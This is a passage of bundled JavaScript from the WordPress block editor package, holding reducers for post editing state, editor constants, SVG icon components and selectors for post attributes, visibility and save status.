          [action.name]: [...((_state$action$kind$ac = state[action.kind]?.[action.name]) !== null && _state$action$kind$ac !== void 0 ? _state$action$kind$ac : []).filter(_action => _action.id !== action.config.id), action.config]
        }
      };
    case 'UNREGISTER_ENTITY_ACTION':
      {
        var _state$action$kind$ac2;
        return {
          ...state,
          [action.kind]: {
            ...state[action.kind],
            [action.name]: ((_state$action$kind$ac2 = state[action.kind]?.[action.name]) !== null && _state$action$kind$ac2 !== void 0 ? _state$action$kind$ac2 : []).filter(_action => _action.id !== action.actionId)
          }
        };
      }
  }
  return state;
}
function fields(state = {}, action) {
  var _state$action$kind$ac3, _state$action$kind$ac4;
  switch (action.type) {
    case 'REGISTER_ENTITY_FIELD':
      return {
        ...state,
        [action.kind]: {
          ...state[action.kind],
          [action.name]: [...((_state$action$kind$ac3 = state[action.kind]?.[action.name]) !== null && _state$action$kind$ac3 !== void 0 ? _state$action$kind$ac3 : []).filter(_field => _field.id !== action.config.id), action.config]
        }
      };
    case 'UNREGISTER_ENTITY_FIELD':
      return {
        ...state,
        [action.kind]: {
          ...state[action.kind],
          [action.name]: ((_state$action$kind$ac4 = state[action.kind]?.[action.name]) !== null && _state$action$kind$ac4 !== void 0 ? _state$action$kind$ac4 : []).filter(_field => _field.id !== action.fieldId)
        }
      };
  }
  return state;
}
/* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
  actions,
  fields,
  isReady
}));

;// ./node_modules/@wordpress/editor/build-module/store/reducer.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Returns a post attribute value, flattening nested rendered content using its
 * raw value in place of its original object form.
 *
 * @param {*} value Original value.
 *
 * @return {*} Raw value.
 */
function getPostRawValue(value) {
  if (value && 'object' === typeof value && 'raw' in value) {
    return value.raw;
  }
  return value;
}

/**
 * Returns true if the two object arguments have the same keys, or false
 * otherwise.
 *
 * @param {Object} a First object.
 * @param {Object} b Second object.
 *
 * @return {boolean} Whether the two objects have the same keys.
 */
function hasSameKeys(a, b) {
  const keysA = Object.keys(a).sort();
  const keysB = Object.keys(b).sort();
  return keysA.length === keysB.length && keysA.every((key, index) => keysB[index] === key);
}

/**
 * Returns true if, given the currently dispatching action and the previously
 * dispatched action, the two actions are editing the same post property, or
 * false otherwise.
 *
 * @param {Object} action         Currently dispatching action.
 * @param {Object} previousAction Previously dispatched action.
 *
 * @return {boolean} Whether actions are updating the same post property.
 */
function isUpdatingSamePostProperty(action, previousAction) {
  return action.type === 'EDIT_POST' && hasSameKeys(action.edits, previousAction.edits);
}

/**
 * Returns true if, given the currently dispatching action and the previously
 * dispatched action, the two actions are modifying the same property such that
 * undo history should be batched.
 *
 * @param {Object} action         Currently dispatching action.
 * @param {Object} previousAction Previously dispatched action.
 *
 * @return {boolean} Whether to overwrite present state.
 */
function shouldOverwriteState(action, previousAction) {
  if (action.type === 'RESET_EDITOR_BLOCKS') {
    return !action.shouldCreateUndoLevel;
  }
  if (!previousAction || action.type !== previousAction.type) {
    return false;
  }
  return isUpdatingSamePostProperty(action, previousAction);
}
function postId(state = null, action) {
  switch (action.type) {
    case 'SET_EDITED_POST':
      return action.postId;
  }
  return state;
}
function templateId(state = null, action) {
  switch (action.type) {
    case 'SET_CURRENT_TEMPLATE_ID':
      return action.id;
  }
  return state;
}
function postType(state = null, action) {
  switch (action.type) {
    case 'SET_EDITED_POST':
      return action.postType;
  }
  return state;
}

/**
 * Reducer returning whether the post blocks match the defined template or not.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {boolean} Updated state.
 */
function template(state = {
  isValid: true
}, action) {
  switch (action.type) {
    case 'SET_TEMPLATE_VALIDITY':
      return {
        ...state,
        isValid: action.isValid
      };
  }
  return state;
}

/**
 * Reducer returning current network request state (whether a request to
 * the WP REST API is in progress, successful, or failed).
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function saving(state = {}, action) {
  switch (action.type) {
    case 'REQUEST_POST_UPDATE_START':
    case 'REQUEST_POST_UPDATE_FINISH':
      return {
        pending: action.type === 'REQUEST_POST_UPDATE_START',
        options: action.options || {}
      };
  }
  return state;
}

/**
 * Reducer returning deleting post request state.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function deleting(state = {}, action) {
  switch (action.type) {
    case 'REQUEST_POST_DELETE_START':
    case 'REQUEST_POST_DELETE_FINISH':
      return {
        pending: action.type === 'REQUEST_POST_DELETE_START'
      };
  }
  return state;
}

/**
 * Post Lock State.
 *
 * @typedef {Object} PostLockState
 *
 * @property {boolean}  isLocked       Whether the post is locked.
 * @property {?boolean} isTakeover     Whether the post editing has been taken over.
 * @property {?boolean} activePostLock Active post lock value.
 * @property {?Object}  user           User that took over the post.
 */

/**
 * Reducer returning the post lock status.
 *
 * @param {PostLockState} state  Current state.
 * @param {Object}        action Dispatched action.
 *
 * @return {PostLockState} Updated state.
 */
function postLock(state = {
  isLocked: false
}, action) {
  switch (action.type) {
    case 'UPDATE_POST_LOCK':
      return action.lock;
  }
  return state;
}

/**
 * Post saving lock.
 *
 * When post saving is locked, the post cannot be published or updated.
 *
 * @param {PostLockState} state  Current state.
 * @param {Object}        action Dispatched action.
 *
 * @return {PostLockState} Updated state.
 */
function postSavingLock(state = {}, action) {
  switch (action.type) {
    case 'LOCK_POST_SAVING':
      return {
        ...state,
        [action.lockName]: true
      };
    case 'UNLOCK_POST_SAVING':
      {
        const {
          [action.lockName]: removedLockName,
          ...restState
        } = state;
        return restState;
      }
  }
  return state;
}

/**
 * Post autosaving lock.
 *
 * When post autosaving is locked, the post will not autosave.
 *
 * @param {PostLockState} state  Current state.
 * @param {Object}        action Dispatched action.
 *
 * @return {PostLockState} Updated state.
 */
function postAutosavingLock(state = {}, action) {
  switch (action.type) {
    case 'LOCK_POST_AUTOSAVING':
      return {
        ...state,
        [action.lockName]: true
      };
    case 'UNLOCK_POST_AUTOSAVING':
      {
        const {
          [action.lockName]: removedLockName,
          ...restState
        } = state;
        return restState;
      }
  }
  return state;
}

/**
 * Reducer returning the post editor setting.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function editorSettings(state = EDITOR_SETTINGS_DEFAULTS, action) {
  switch (action.type) {
    case 'UPDATE_EDITOR_SETTINGS':
      return {
        ...state,
        ...action.settings
      };
  }
  return state;
}
function renderingMode(state = 'post-only', action) {
  switch (action.type) {
    case 'SET_RENDERING_MODE':
      return action.mode;
  }
  return state;
}

/**
 * Reducer returning the editing canvas device type.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function deviceType(state = 'Desktop', action) {
  switch (action.type) {
    case 'SET_DEVICE_TYPE':
      return action.deviceType;
  }
  return state;
}

/**
 * Reducer storing the list of all programmatically removed panels.
 *
 * @param {Array}  state  Current state.
 * @param {Object} action Action object.
 *
 * @return {Array} Updated state.
 */
function removedPanels(state = [], action) {
  switch (action.type) {
    case 'REMOVE_PANEL':
      if (!state.includes(action.panelName)) {
        return [...state, action.panelName];
      }
  }
  return state;
}

/**
 * Reducer to set the block inserter panel open or closed.
 *
 * Note: this reducer interacts with the list view panel reducer
 * to make sure that only one of the two panels is open at the same time.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 */
function blockInserterPanel(state = false, action) {
  switch (action.type) {
    case 'SET_IS_LIST_VIEW_OPENED':
      return action.isOpen ? false : state;
    case 'SET_IS_INSERTER_OPENED':
      return action.value;
  }
  return state;
}

/**
 * Reducer to set the list view panel open or closed.
 *
 * Note: this reducer interacts with the inserter panel reducer
 * to make sure that only one of the two panels is open at the same time.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 */
function listViewPanel(state = false, action) {
  switch (action.type) {
    case 'SET_IS_INSERTER_OPENED':
      return action.value ? false : state;
    case 'SET_IS_LIST_VIEW_OPENED':
      return action.isOpen;
  }
  return state;
}

/**
 * This reducer does nothing aside initializing a ref to the list view toggle.
 * We will have a unique ref per "editor" instance.
 *
 * @param {Object} state
 * @return {Object} Reference to the list view toggle button.
 */
function listViewToggleRef(state = {
  current: null
}) {
  return state;
}

/**
 * This reducer does nothing aside initializing a ref to the inserter sidebar toggle.
 * We will have a unique ref per "editor" instance.
 *
 * @param {Object} state
 * @return {Object} Reference to the inserter sidebar toggle button.
 */
function inserterSidebarToggleRef(state = {
  current: null
}) {
  return state;
}
function publishSidebarActive(state = false, action) {
  switch (action.type) {
    case 'OPEN_PUBLISH_SIDEBAR':
      return true;
    case 'CLOSE_PUBLISH_SIDEBAR':
      return false;
    case 'TOGGLE_PUBLISH_SIDEBAR':
      return !state;
  }
  return state;
}
/* harmony default export */ const store_reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
  postId,
  postType,
  templateId,
  saving,
  deleting,
  postLock,
  template,
  postSavingLock,
  editorSettings,
  postAutosavingLock,
  renderingMode,
  deviceType,
  removedPanels,
  blockInserterPanel,
  inserterSidebarToggleRef,
  listViewPanel,
  listViewToggleRef,
  publishSidebarActive,
  dataviews: reducer
}));

;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external ["wp","date"]
const external_wp_date_namespaceObject = window["wp"]["date"];
;// external ["wp","url"]
const external_wp_url_namespaceObject = window["wp"]["url"];
;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// external ["wp","preferences"]
const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
;// ./node_modules/@wordpress/editor/build-module/store/constants.js
/**
 * Set of post properties for which edits should assume a merging behavior,
 * assuming an object value.
 *
 * @type {Set}
 */
const EDIT_MERGE_PROPERTIES = new Set(['meta']);

/**
 * Constant for the store module (or reducer) key.
 */
const STORE_NAME = 'core/editor';
const PERMALINK_POSTNAME_REGEX = /%(?:postname|pagename)%/;
const ONE_MINUTE_IN_MS = 60 * 1000;
const AUTOSAVE_PROPERTIES = ['title', 'excerpt', 'content'];
const TEMPLATE_PART_AREA_DEFAULT_CATEGORY = 'uncategorized';
const TEMPLATE_POST_TYPE = 'wp_template';
const TEMPLATE_PART_POST_TYPE = 'wp_template_part';
const PATTERN_POST_TYPE = 'wp_block';
const NAVIGATION_POST_TYPE = 'wp_navigation';
const TEMPLATE_ORIGINS = {
  custom: 'custom',
  theme: 'theme',
  plugin: 'plugin'
};
const TEMPLATE_POST_TYPES = ['wp_template', 'wp_template_part'];
const GLOBAL_POST_TYPES = [...TEMPLATE_POST_TYPES, 'wp_block', 'wp_navigation'];

;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/icons/build-module/library/header.js
/**
 * WordPress dependencies
 */


const header = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
  })
});
/* harmony default export */ const library_header = (header);

;// ./node_modules/@wordpress/icons/build-module/library/footer.js
/**
 * WordPress dependencies
 */


const footer = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    d: "M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
  })
});
/* harmony default export */ const library_footer = (footer);

;// ./node_modules/@wordpress/icons/build-module/library/sidebar.js
/**
 * WordPress dependencies
 */


const sidebar = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
  })
});
/* harmony default export */ const library_sidebar = (sidebar);

;// ./node_modules/@wordpress/icons/build-module/library/symbol-filled.js
/**
 * WordPress dependencies
 */


const symbolFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"
  })
});
/* harmony default export */ const symbol_filled = (symbolFilled);

;// ./node_modules/@wordpress/editor/build-module/utils/get-template-part-icon.js
/**
 * WordPress dependencies
 */

/**
 * Helper function to retrieve the corresponding icon by name.
 *
 * @param {string} iconName The name of the icon.
 *
 * @return {Object} The corresponding icon.
 */
function getTemplatePartIcon(iconName) {
  if ('header' === iconName) {
    return library_header;
  } else if ('footer' === iconName) {
    return library_footer;
  } else if ('sidebar' === iconName) {
    return library_sidebar;
  }
  return symbol_filled;
}

;// external ["wp","privateApis"]
const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
;// ./node_modules/@wordpress/editor/build-module/lock-unlock.js
/**
 * WordPress dependencies
 */

const {
  lock,
  unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/editor');

;// ./node_modules/@wordpress/icons/build-module/library/layout.js
/**
 * WordPress dependencies
 */


const layout = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
  })
});
/* harmony default export */ const library_layout = (layout);

;// ./node_modules/@wordpress/editor/build-module/utils/get-template-info.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */

const EMPTY_OBJECT = {};

/**
 * Helper function to retrieve the corresponding template info for a given template.
 * @param {Object} params
 * @param {Array}  params.templateTypes
 * @param {Array}  [params.templateAreas]
 * @param {Object} params.template
 */
const getTemplateInfo = params => {
  var _Object$values$find;
  if (!params) {
    return EMPTY_OBJECT;
  }
  const {
    templateTypes,
    templateAreas,
    template
  } = params;
  const {
    description,
    slug,
    title,
    area
  } = template;
  const {
    title: defaultTitle,
    description: defaultDescription
  } = (_Object$values$find = Object.values(templateTypes).find(type => type.slug === slug)) !== null && _Object$values$find !== void 0 ? _Object$values$find : EMPTY_OBJECT;
  const templateTitle = typeof title === 'string' ? title : title?.rendered;
  const templateDescription = typeof description === 'string' ? description : description?.raw;
  const templateAreasWithIcon = templateAreas?.map(item => ({
    ...item,
    icon: getTemplatePartIcon(item.icon)
  }));
  const templateIcon = templateAreasWithIcon?.find(item => area === item.area)?.icon || library_layout;
  return {
    title: templateTitle && templateTitle !== slug ? templateTitle : defaultTitle || slug,
    description: templateDescription || defaultDescription,
    icon: templateIcon
  };
};

;// ./node_modules/@wordpress/editor/build-module/store/selectors.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */






/**
 * Shared reference to an empty object for cases where it is important to avoid
 * returning a new object reference on every invocation, as in a connected or
 * other pure component which performs `shouldComponentUpdate` check on props.
 * This should be used as a last resort, since the normalized data should be
 * maintained by the reducer result in state.
 */
const selectors_EMPTY_OBJECT = {};

/**
 * Returns true if any past editor history snapshots exist, or false otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether undo history exists.
 */
const hasEditorUndo = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  return select(external_wp_coreData_namespaceObject.store).hasUndo();
});

/**
 * Returns true if any future editor history snapshots exist, or false
 * otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether redo history exists.
 */
const hasEditorRedo = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  return select(external_wp_coreData_namespaceObject.store).hasRedo();
});

/**
 * Returns true if the currently edited post is yet to be saved, or false if
 * the post has been saved.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post is new.
 */
function isEditedPostNew(state) {
  return getCurrentPost(state).status === 'auto-draft';
}

/**
 * Returns true if content includes unsaved changes, or false otherwise.
 *
 * @param {Object} state Editor state.
 *
 * @return {boolean} Whether content includes unsaved changes.
 */
function hasChangedContent(state) {
  const edits = getPostEdits(state);
  return 'content' in edits;
}

/**
 * Returns true if there are unsaved values for the current edit session, or
 * false if the editing state matches the saved or new post.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether unsaved values exist.
 */
const isEditedPostDirty = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  // Edits should contain only fields which differ from the saved post (reset
  // at initial load and save complete). Thus, a non-empty edits state can be
  // inferred to contain unsaved values.
  const postType = getCurrentPostType(state);
  const postId = getCurrentPostId(state);
  return select(external_wp_coreData_namespaceObject.store).hasEditsForEntityRecord('postType', postType, postId);
});

/**
 * Returns true if there are unsaved edits for entities other than
 * the editor's post, and false otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether there are edits or not.
 */
const hasNonPostEntityChanges = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const dirtyEntityRecords = select(external_wp_coreData_namespaceObject.store).__experimentalGetDirtyEntityRecords();
  const {
    type,
    id
  } = getCurrentPost(state);
  return dirtyEntityRecords.some(entityRecord => entityRecord.kind !== 'postType' || entityRecord.name !== type || entityRecord.key !== id);
});

/**
 * Returns true if there are no unsaved values for the current edit session and
 * if the currently edited post is new (has never been saved before).
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether new post and unsaved values exist.
 */
function isCleanNewPost(state) {
  return !isEditedPostDirty(state) && isEditedPostNew(state);
}

/**
 * Returns the post currently being edited in its last known saved state, not
 * including unsaved edits. Returns an object containing relevant default post
 * values if the post has not yet been saved.
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} Post object.
 */
const getCurrentPost = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const postId = getCurrentPostId(state);
  const postType = getCurrentPostType(state);
  const post = select(external_wp_coreData_namespaceObject.store).getRawEntityRecord('postType', postType, postId);
  if (post) {
    return post;
  }

  // This exists for compatibility with the previous selector behavior
  // which would guarantee an object return based on the editor reducer's
  // default empty object state.
  return selectors_EMPTY_OBJECT;
});

/**
 * Returns the post type of the post currently being edited.
 *
 * @param {Object} state Global application state.
 *
 * @example
 *
 *```js
 * const currentPostType = wp.data.select( 'core/editor' ).getCurrentPostType();
 *```
 * @return {string} Post type.
 */
function getCurrentPostType(state) {
  return state.postType;
}

/**
 * Returns the ID of the post currently being edited, or null if the post has
 * not yet been saved.
 *
 * @param {Object} state Global application state.
 *
 * @return {?number} ID of current post.
 */
function getCurrentPostId(state) {
  return state.postId;
}

/**
 * Returns the template ID currently being rendered/edited
 *
 * @param {Object} state Global application state.
 *
 * @return {?string} Template ID.
 */
function getCurrentTemplateId(state) {
  return state.templateId;
}

/**
 * Returns the number of revisions of the post currently being edited.
 *
 * @param {Object} state Global application state.
 *
 * @return {number} Number of revisions.
 */
function getCurrentPostRevisionsCount(state) {
  var _getCurrentPost$_link;
  return (_getCurrentPost$_link = getCurrentPost(state)._links?.['version-history']?.[0]?.count) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : 0;
}

/**
 * Returns the last revision ID of the post currently being edited,
 * or null if the post has no revisions.
 *
 * @param {Object} state Global application state.
 *
 * @return {?number} ID of the last revision.
 */
function getCurrentPostLastRevisionId(state) {
  var _getCurrentPost$_link2;
  return (_getCurrentPost$_link2 = getCurrentPost(state)._links?.['predecessor-version']?.[0]?.id) !== null && _getCurrentPost$_link2 !== void 0 ? _getCurrentPost$_link2 : null;
}

/**
 * Returns any post values which have been changed in the editor but not yet
 * been saved.
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} Object of key value pairs comprising unsaved edits.
 */
const getPostEdits = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const postType = getCurrentPostType(state);
  const postId = getCurrentPostId(state);
  return select(external_wp_coreData_namespaceObject.store).getEntityRecordEdits('postType', postType, postId) || selectors_EMPTY_OBJECT;
});

/**
 * Returns an attribute value of the saved post.
 *
 * @param {Object} state         Global application state.
 * @param {string} attributeName Post attribute name.
 *
 * @return {*} Post attribute value.
 */
function getCurrentPostAttribute(state, attributeName) {
  switch (attributeName) {
    case 'type':
      return getCurrentPostType(state);
    case 'id':
      return getCurrentPostId(state);
    default:
      const post = getCurrentPost(state);
      if (!post.hasOwnProperty(attributeName)) {
        break;
      }
      return getPostRawValue(post[attributeName]);
  }
}

/**
 * Returns a single attribute of the post being edited, preferring the unsaved
 * edit if one exists, but merging with the attribute value for the last known
 * saved state of the post (this is needed for some nested attributes like meta).
 *
 * @param {Object} state         Global application state.
 * @param {string} attributeName Post attribute name.
 *
 * @return {*} Post attribute value.
 */
const getNestedEditedPostProperty = (0,external_wp_data_namespaceObject.createSelector)((state, attributeName) => {
  const edits = getPostEdits(state);
  if (!edits.hasOwnProperty(attributeName)) {
    return getCurrentPostAttribute(state, attributeName);
  }
  return {
    ...getCurrentPostAttribute(state, attributeName),
    ...edits[attributeName]
  };
}, (state, attributeName) => [getCurrentPostAttribute(state, attributeName), getPostEdits(state)[attributeName]]);

/**
 * Returns a single attribute of the post being edited, preferring the unsaved
 * edit if one exists, but falling back to the attribute for the last known
 * saved state of the post.
 *
 * @param {Object} state         Global application state.
 * @param {string} attributeName Post attribute name.
 *
 * @example
 *
 *```js
 * 	// Get specific media size based on the featured media ID
 * 	// Note: change sizes?.large for any registered size
 * 	const getFeaturedMediaUrl = useSelect( ( select ) => {
 * 		const getFeaturedMediaId =
 * 			select( 'core/editor' ).getEditedPostAttribute( 'featured_media' );
 * 		const getMedia = select( 'core' ).getMedia( getFeaturedMediaId );
 *
 * 		return (
 * 			getMedia?.media_details?.sizes?.large?.source_url || getMedia?.source_url || ''
 * 		);
 * }, [] );
 *```
 *
 * @return {*} Post attribute value.
 */
function getEditedPostAttribute(state, attributeName) {
  // Special cases.
  switch (attributeName) {
    case 'content':
      return getEditedPostContent(state);
  }

  // Fall back to saved post value if not edited.
  const edits = getPostEdits(state);
  if (!edits.hasOwnProperty(attributeName)) {
    return getCurrentPostAttribute(state, attributeName);
  }

  // Merge properties are objects which contain only the patch edit in state,
  // and thus must be merged with the current post attribute.
  if (EDIT_MERGE_PROPERTIES.has(attributeName)) {
    return getNestedEditedPostProperty(state, attributeName);
  }
  return edits[attributeName];
}

/**
 * Returns an attribute value of the current autosave revision for a post, or
 * null if there is no autosave for the post.
 *
 * @deprecated since 5.6. Callers should use the `getAutosave( postType, postId, userId )` selector
 * 			   from the '@wordpress/core-data' package and access properties on the returned
 * 			   autosave object using getPostRawValue.
 *
 * @param {Object} state         Global application state.
 * @param {string} attributeName Autosave attribute name.
 *
 * @return {*} Autosave attribute value.
 */
const getAutosaveAttribute = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, attributeName) => {
  if (!AUTOSAVE_PROPERTIES.includes(attributeName) && attributeName !== 'preview_link') {
    return;
  }
  const postType = getCurrentPostType(state);

  // Currently template autosaving is not supported.
  if (postType === 'wp_template') {
    return false;
  }
  const postId = getCurrentPostId(state);
  const currentUserId = select(external_wp_coreData_namespaceObject.store).getCurrentUser()?.id;
  const autosave = select(external_wp_coreData_namespaceObject.store).getAutosave(postType, postId, currentUserId);
  if (autosave) {
    return getPostRawValue(autosave[attributeName]);
  }
});

/**
 * Returns the current visibility of the post being edited, preferring the
 * unsaved value if different than the saved post. The return value is one of
 * "private", "password", or "public".
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Post visibility.
 */
function getEditedPostVisibility(state) {
  const status = getEditedPostAttribute(state, 'status');
  if (status === 'private') {
    return 'private';
  }
  const password = getEditedPostAttribute(state, 'password');
  if (password) {
    return 'password';
  }
  return 'public';
}

/**
 * Returns true if post is pending review.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether current post is pending review.
 */
function isCurrentPostPending(state) {
  return getCurrentPost(state).status === 'pending';
}

/**
 * Return true if the current post has already been published.
 *
 * @param {Object} state         Global application state.
 * @param {Object} [currentPost] Explicit current post for bypassing registry selector.
 *
 * @return {boolean} Whether the post has been published.
 */
function isCurrentPostPublished(state, currentPost) {
  const post = currentPost || getCurrentPost(state);
  return ['publish', 'private'].indexOf(post.status) !== -1 || post.status === 'future' && !(0,external_wp_date_namespaceObject.isInTheFuture)(new Date(Number((0,external_wp_date_namespaceObject.getDate)(post.date)) - ONE_MINUTE_IN_MS));
}

/**
 * Returns true if post is already scheduled.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether current post is scheduled to be posted.
 */
function isCurrentPostScheduled(state) {
  return getCurrentPost(state).status === 'future' && !isCurrentPostPublished(state);
}

/**
 * Return true if the post being edited can be published.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post can been published.
 */
function isEditedPostPublishable(state) {
  const post = getCurrentPost(state);

  // TODO: Post being publishable should be superset of condition of post
  // being saveable. Currently this restriction is imposed at UI.
  //
  //  See: <PostPublishButton /> (`isButtonEnabled` assigned by `isSaveable`).

  return isEditedPostDirty(state) || ['publish', 'private', 'future'].indexOf(post.status) === -1;
}

/**
 * Returns true if the post can be saved, or false otherwise. A post must
 * contain a title, an excerpt, or non-empty content to be valid for save.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post can be saved.
 */
function isEditedPostSaveable(state) {
  if (isSavingPost(state)) {
    return false;
  }

  // TODO: Post should not be saveable if not dirty. Cannot be added here at
  // this time since posts where meta boxes are present can be saved even if
  // the post is not dirty. Currently this restriction is imposed at UI, but
  // should be moved here.
  //
  //  See: `isEditedPostPublishable` (includes `isEditedPostDirty` condition)
  //  See: <PostSavedState /> (`forceIsDirty` prop)
  //  See: <PostPublishButton /> (`forceIsDirty` prop)
  //  See: https://github.com/WordPress/gutenberg/pull/4184.

  return !!getEditedPostAttribute(state, 'title') || !!getEditedPostAttribute(state, 'excerpt') || !isEditedPostEmpty(state) || external_wp_element_namespaceObject.Platform.OS === 'native';
}

/**
 * Returns true if the edited post has content. A post has content if it has at
 * least one saveable block or otherwise has a non-empty content property
 * assigned.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether post has content.
 */
const isEditedPostEmpty = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  // While the condition of truthy content string is sufficient to determine
  // emptiness, testing saveable blocks length is a trivial operation. Since
  // this function can be called frequently, optimize for the fast case as a
  // condition of the mere existence of blocks. Note that the value of edited
  // content takes precedent over block content, and must fall through to the
  // default logic.
  const postId = getCurrentPostId(state);
  const postType = getCurrentPostType(state);
  const record = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', postType, postId);
  if (typeof record.content !== 'function') {
    return !record.content;
  }
  const blocks = getEditedPostAttribute(state, 'blocks');
  if (blocks.length === 0) {
    return true;
  }

  // Pierce the abstraction of the serializer in knowing that blocks are
  // joined with newlines such that even if every individual block
  // produces an empty save result, the serialized content is non-empty.
  if (blocks.length > 1) {
    return false;
  }

  // There are two conditions under which the optimization cannot be
  // assumed, and a fallthrough to getEditedPostContent must occur:
  //
  // 1. getBlocksForSerialization has special treatment in omitting a
  //    single unmodified default block.
  // 2. Comment delimiters are omitted for a freeform or unregistered
  //    block in its serialization. The freeform block specifically may
  //    produce an empty string in its saved output.
  //
  // For all other content, the single block is assumed to make a post
  // non-empty, if only by virtue of its own comment delimiters.
  const blockName = blocks[0].name;
